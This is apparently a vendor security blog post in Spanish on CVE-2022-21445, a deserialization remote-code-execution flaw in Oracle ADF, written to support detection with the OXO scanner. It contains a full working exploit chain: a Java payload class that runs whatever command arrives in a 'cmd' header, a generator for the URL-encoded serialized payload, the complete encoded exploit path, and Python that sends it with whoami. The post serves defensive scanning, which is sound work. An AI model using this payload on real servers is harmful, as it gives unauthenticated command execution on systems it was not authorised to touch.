CVE-2022-21445: ejecución remota de código (RCE) por deserialización en Oracle ADF
Cómo CVE-2022-21445, un fallo de deserialización de Oracle ADF explotado activamente, da a atacantes no autenticados ejecución remota de código, y cómo detectarlo con OXO.
Introducción
CVE-2022-21445 es una vulnerabilidad explotada activamente hasta el día de hoy. A pesar de haberse descubierto en 2022, esta vulnerabilidad crítica del Application Development Framework (ADF) de Oracle sigue representando una amenaza seria para las empresas. Los atacantes pueden explotarla para ejecutar código de forma remota, sin necesidad de interacción ni de privilegios, lo que la convierte en un objetivo muy buscado por los cibercriminales incluso ahora.
Entendiendo el impacto de CVE-2022-21445 en Oracle ADF
En esencia, CVE-2022-21445 es un ejemplo de manual de vulnerabilidad de deserialización. ¿El culpable? Una clase en apariencia inofensiva llamada org.apache.myfaces.trinidad.webapp.ResourceServlet. Este servlet, encargado de gestionar los recursos web, tenía un fallo crítico: confiaba ciegamente en los datos entrantes y los deserializaba.
Para quienes no estén familiarizados con el concepto, la deserialización es el proceso de convertir un flujo de bytes de nuevo en un objeto o una estructura de datos utilizable dentro de un programa. Esto ocurre normalmente cuando se reciben datos que han sido serializados (convertidos a un formato apto para su almacenamiento o transmisión) y necesitan transformarse de vuelta a su forma original para su procesamiento. Sin embargo, la deserialización puede introducir riesgos de seguridad, en especial si los datos deserializados proceden de una fuente no confiable, lo que puede permitir a los atacantes manipular el objeto y ejecutar acciones dañinas dentro de la aplicación.
Ruta de explotación de CVE-2022-21445: cómo aprovechan los atacantes la RCE
Para explotar esta vulnerabilidad, los atacantes creaban un objeto Java especial que, al ser deserializado, ejecutaba comandos arbitrarios en el servidor. El payload se codificaba en URL y se enviaba como parte de una solicitud GET a un endpoint específico.
A continuación, un fragmento del código de explotación que comprueba si los objetivos son vulnerables:
def accept(self, target: definitions.Target) -> bool:
"""Override the accept method to check for X-ORACLE-DMS-ECID in the response headers."""
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
target_endpoint = urlparse.urljoin(target.origin, self.check_request.path)
try:
req = requests.Request(
method=self.check_request.method,
url=target_endpoint,
headers=self.check_request.headers,
data=self.check_request.data,
).prepare()
resp = session.send(req, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException as e:
logging.info("Request Exception Occurred: %s", e)
return False
if "X-ORACLE-DMS-ECID" in resp.headers:
logging.info("X-ORACLE-DMS-ECID header found in the response")
return True
return False
Este código comprueba la presencia de una cabecera X-ORACLE-DMS-ECID, comúnmente asociada a los productos de Oracle Fusion Middleware, entre ellos Oracle Application Development Framework (ADF). Por eso se utiliza esta cabecera para identificar posibles objetivos de ADF.
El payload: un caballo de Troya en Java
El corazón del exploit reside en su payload. Los investigadores crearon una clase LambdaIdentity que, al ser deserializada, ejecutaba comandos arbitrarios. A continuación, una versión simplificada de su aspecto:
package com.tangosol.internal.util.invoke.lambda;
import com.tangosol.internal.util.invoke.AbstractRemotable;
public class LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A extends AbstractRemotable {
public LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A() {
try {
weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getServletResponse").invoke(obj);
String cmd = req.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
Process exec;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
exec = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd});
} else {
exec = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
}
res.getServletOutputStream().clearBuffer();
res.getServletOutputStream().writeStream(exec.getInputStream());
res.getServletOutputStream().flush();
res.getServletOutputStream().close();
res.flushBuffer();
}
} catch (Exception var1) {
var1.printStackTrace();
}
}
}
Cuando esta clase se deserializa en el servidor objetivo, ejecuta el comando que haya especificado el atacante.
Detección de la vulnerabilidad
Desarrollamos un script en Python para detectar sistemas vulnerables. Identificamos endpoints específicos contra los que realizar las pruebas, centrándonos en productos habituales de Oracle:
CONTEXT_APP = ["/bicomposer", "/em"] # Testing against Oracle Business Intelligence and Oracle Enterprise Manager
La ruta de explotación se generó mediante un script Java personalizado, Main.java, que construía un payload codificado malicioso:
package org.example.miracle;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import com.tangosol.internal.util.invoke.lambda.LambdaIdentity;
import com.tangosol.internal.util.invoke.ClassDefinition;
import oracle.adf.view.rich.util.SerializationUtils;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args) throws IOException {
RemoteConstructor remoteConstructor = new RemoteConstructor(
new ClassDefinition(new ClassIdentity(LambdaIdentity.class), Files.readAllBytes(Paths.get("/home/nmasdoufi/Downloads/CVE-2022-21445/target/classes/com/tangosol/internal/util/invoke/lambda/LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A.class"))), new Object[]{}
);
String saa = SerializationUtils.toURLEncodedString(remoteConstructor);
System.out.println(saa);
}
}
Y aquí la ruta de explotación que usa ese payload:
EXPLOIT_PATH = (
"/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DtVdbcBtXGf5WlrSb9ToX5eIotzalDXJi6%2BJbsB1KJdkiAeVCZNwkBsxqdWxv"
"-stqVd49sB2jacm8LpdxpaBugtOESmOFFZDqTTuCBYWCAGV6Y4QF4YIYO0z7BDDwwlP_oEkux3DgP"
"-SKOze_7_P__l_N_5_6NrbyDguRgwnGKU6_ac4zlW1LQ5c23dipa5KWaLzgUWPc2KDmdpx_a4Wza4"
"-4_7m8uuZ6T_9fckH3zSU4ozuJN05j2PrdPa8vqjHLFIXO5k_zww%2BloVWnCmwWdM2uenYHANZshhr"
"-WIw1LMaExVjNYixt6Z43fmvR2HKp7Da0R4X2aF37M789c2Wz12P5gOUS6EMRJe4c0W36H_j1q0_9-C3"
"%2B8XI1nA8WTrwpwmqay8BdnzAJHYr1%2BHyswm5v8Ys1rUnHtH93_DiqTf6k72Vn51X9feZV8HcSP-ZZxQcRAnVZzC"
"%2B2ScVuFHToWESQXvV6FhSsXDOCOGswrOyZgWxA%2Bo%2BCA%2BJGNGwYdl6AqOqNiEvIrd"
"-MBQUVDDMismcgnnxNFWcxwUZloKieLUVOApKKrZgQYULTwVHWbwtimFJDMuCe1HGR1S8HR%2BV8TEZ"
"-j0gIHhFb9qCEjkjPlAR_2ikwCZuyps1OlIt55k7qeYsooaxj6NaU7ppiXif62TIzJGxtAskp1zGY"
"-541JkPWCXqItlbA7u8TyljNnGrElx70Qe5iGZI1JcoFZk1kFCeEmLS6btQgNsYxgkUyHkz8vfFgF"
"-RmK5bEFCdMWEx9xFi_GVfOZqhNNsocw8fqxYsmrLPAmx9SzzSnRQWGOdUSy0epLjrmnPEcu_qLsJ-CdubeBPLBitVAU9sPm"
"%2BSyXPrQJ2lF_MFPZatPhrou38i0T%2BRTg6OZOLD4_HBeCI5Mj4YH071j6fT"
"-hweHB5JkoyvHdePCcb1UTVA1x5dkPEqgJGwRsAgxMh4jDEhQc07ZNVjGFIkcvEtTURGihM2350PD-ITwu4"
"%2BMaPoFPUuJb8z5BaClzNjnvMr2g4VP4tIbP4LMSthiObdNy2qijul2wmKvhCTxJnmt4Cp_T"
"-8Hk8TVJzjLfmkoC64kH1qGr4Ap6R8UUNX8KXJfTeDSoorc0WammX0HdXENHwFXxVw9fwdToBjhe1"
"-9SLl4RsanhXky_gmQWjJtDU8h%2BdlvKDhCr7VspE1OEnwxQwNcXyb3rx5Gvpo%2Bh28KOO7Gl5CL6VR-w8u4quF7"
"%2BL6GH6BXww_FcA29dCLbQFDDjwTrzP8LflK189xBdTJPLUc3eLUD1YpIeM3iIKF7jZJA"
"-YFhVciTsiLRpV6KqNW1vDXx0Uoyy61Jkjfm2SE_2dik6UBsJEemapHBMwl6Se6tqpogFAomUhBaV"
"-VSIJbCaBcWZYussK9Vj6IqvLSc9bVMMuj_GkIWI2a2U4ck5E2UGaJRyItNmDdoVzA4kfZ3zeIQ8e"
"-auPB9Crn2_lU00Dqdq7Fox5TS76EkTa%2BtUvZWu4epaQIWBy4w4bdKsmy6U0US_xitb2daz1nFz3O"
"-ihI6SS8hqMRcIdbJnayzxNy0Lo5%2BKyhuaVWoXHHdtCnHu5s9Sc_rbk7UE9tgY8JcE0hPl%2BkUFUmn"
"-SvZuTba3GKiTyUKkBcltIlxpsztWatbJMi%2BVOUkznQIbakbqWqWreUm9wyXuehFtm2Ex3U2VZ2dF"
"-esShOWY3udLdCNN0Yk0MMta55JqcNeR2RtqKCXAHZq2yqIMBw3JEajqr84bFTSXaIV5tfpNUXhj2-o4duYeIj0fcQemnsA3w"
"%2BBKAQ9Y2DHTcg_RS%2B6%2Bi4CX8FgeyhCoIhuQLleC_NN_TSXD3RJ4idJKtV"
"-0NUn1lSw8SY2jfqrnM2rOFtGA2F_KFTB1tFgOPgLXAoHK9h2GYuh7dexo4Lu0M4Kws9i_3XsCt7A-7rMdoVDurD"
"%2B0J3c2EA7mKtg7Kl_FvhXuPsG9p4kbDlRwbwX7q88wOXxfBW%2BrE%2B%2BvPx8QzwNXoYio-Ij%2Bh4BX8FX%2Bji18HohT"
"%2BFLbTGCSqghA2YA9U2rJO4mtIogvT2IgC3UAX6Mr4OElcwTa8gh34Obrx-O"
"%2BzEHxDGn7GLdO4jrXvwGvbiddyDGGmdJV3PkZ04EpBp1cH6Wwi_Rz8GyJc9%2BCVdlYfgI3s3MIzD"
"-JJ3Ei3gHRui2PE2tfxRjlKgCHsMRvJP8fI3oD%2BJdtJZSh4dIGkjRbwCBN8k5WUZaxriMCRkZGe%2BW"
"-cVTGMeA_2CXjPW8SFiSSoCUy3usnJVla6sNx%2BmsRW%2Bdfi0YXfCTzM37zn5ERHzqy6CzOeCkqFCeo"
"-x_N2d8IsVBI5RajU59gCLqGrRplirkcduUpZLnFsbG21HJH1NmmOewf7B1Lx_nR8KB5PHE71D46n"
"-EvHxTObw0EgyOTScyvwPvlNuShcOAAA%3D-/"
)
El script de detección envía una solicitud especialmente diseñada a posibles objetivos y comprueba si hay indicios de explotación satisfactoria. A continuación, un fragmento de la lógica de detección:
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
"""Rule to detect specific vulnerability on a specific target.
Args: target: Target to scan
Returns: List of identified vulnerabilities. """
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
vulnerabilities: list[definitions.Vulnerability] = []
for context in CONTEXT_APP:
exploit_endpoint = urlparse.urljoin(target.origin, context + EXPLOIT_PATH)
try:
exploit_req = requests.Request(
method="GET",
url=exploit_endpoint,
headers={"cmd": "whoami"},
).prepare()
exploit_resp = session.send(exploit_req, timeout=DEFAULT_TIMEOUT)
if exploit_resp.status_code == 200:
response_text = exploit_resp.text.lower()
if any(
user in response_text
for user in ["root", "nt authority\\system"]
):
logging.info(
f"Potential RCE vulnerability detected at {exploit_endpoint}"
)
vulnerability = self._create_vulnerability(target)
vulnerabilities.append(vulnerability)
break # Stop checking other contexts if vulnerability is found
except requests_exceptions.RequestException as e:
logging.info(f"Exploit check failed for {exploit_endpoint}: {e}")
return vulnerabilities
Cómo funciona
El script comienza iniciando una sesión con el objetivo, lo que permite gestionar de forma eficiente las solicitudes y respuestas. A continuación, construye una solicitud GET dirigida a un endpoint específico, incorporando un command en las cabeceras para sondear el sistema. Al recibir un estado 200 OK, el script analiza la respuesta en busca de indicios de ejecución satisfactoria de comandos, como la presencia de root o SYSTEM en el cuerpo de la respuesta. Si se detecta una vulnerabilidad de ejecución remota de código (RCE), el script registra el evento y añade la vulnerabilidad identificada a una lista para su posterior gestión.
Probar CVE-2022-21445 con la herramienta OXO
Si le preocupa que su instancia pueda ser vulnerable, siga estos pasos para realizar una prueba con la herramienta OXO. OXO ofrece una forma sencilla de escanear y detectar esta vulnerabilidad. Así es como puede empezar:
- Instale OXO mediante pip:
pip install -U ostorlab
- Instale el agente asteroid desde la tienda de agentes de OXO:
oxo agent install agent/ostorlab/asteroid
- Ejecute el escaneo con el agente asteroid usando el siguiente comando:
oxo scan run --agent agent/ostorlab/asteroid link --url <target-URL> --method GET